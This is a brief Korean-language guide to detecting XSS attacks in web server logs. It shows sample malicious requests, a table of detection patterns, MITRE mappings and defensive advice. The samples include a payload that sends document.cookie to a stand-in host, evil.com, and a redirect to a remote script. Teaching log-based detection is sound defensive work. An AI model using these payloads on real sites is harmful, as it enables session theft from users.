XSS(Cross-Site Scripting)는 악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. SQL Injection과 함께 OWASP Top 10의 단골 취약점이며, 웹 서버 로그에서 공격 시도를 조기에 탐지할 수 있습니다.
공격자는 URL 파라미터, 검색어, 댓글 입력란 등에 HTML/JavaScript 코드를 삽입합니다.
URL에 직접 스크립트를 포함:
GET /search?q=<script>alert(document.cookie)</script>
GET /page?name=<img src=x onerror=alert(1)>
GET /user?id="><script>fetch('http://evil.com?c='+document.cookie)</script>
GET /search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
GET /page?url=javascript:alert(document.domain)
GET /redirect?url=%2F%2Fevil.com%2Fxss.js
%3C = <, %3E = >, %2F = /
| 패턴 | 설명 | |
|---|---|---|
<script>, </script> | 스크립트 태그 삽입 | |
<img src=x onerror= | 이미지 로드 실패 이벤트 악용 | |
<iframe src= | 외부 프레임 삽입 | |
javascript: | JavaScript 프로토콜 악용 | |
onerror=, onload=, onclick= | 이벤트 핸들러 삽입 | |
eval(, document.cookie | 악의적 JavaScript 함수 | |
<svg onload= | SVG 태그 이벤트 악용 | |
<body onload= | body 태그 이벤트 | |
| 공격 유형 | MITRE 기법 | 설명 |
| XSS (일반) | T1189 | Drive-by Compromise |
| Cookie 탈취 | T1539 | Steal Web Session Cookie |
| 크리덴셜 피싱 | T1566 | Phishing |
XSS 공격은 로그에 <script>, onerror=, javascript: 같은 명확한 키워드를 남깁니다. grep으로 이런 패턴을 주기적으로 모니터링하고, ModSecurity 같은 WAF를 적용하면 대부분의 자동화 XSS 공격을 차단할 수 있습니다. 하지만 근본적인 해결은 모든 사용자 입력을 HTML 이스케이프 하는 것입니다.